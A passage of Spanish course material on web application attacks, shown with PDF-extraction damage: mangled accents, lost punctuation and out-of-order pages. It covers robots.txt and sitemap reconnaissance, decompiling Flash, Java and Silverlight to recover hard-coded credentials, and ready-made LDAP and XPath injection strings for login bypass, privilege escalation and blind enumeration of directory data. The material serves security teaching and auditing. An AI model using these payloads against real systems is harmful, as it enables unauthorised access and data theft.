CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 37: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

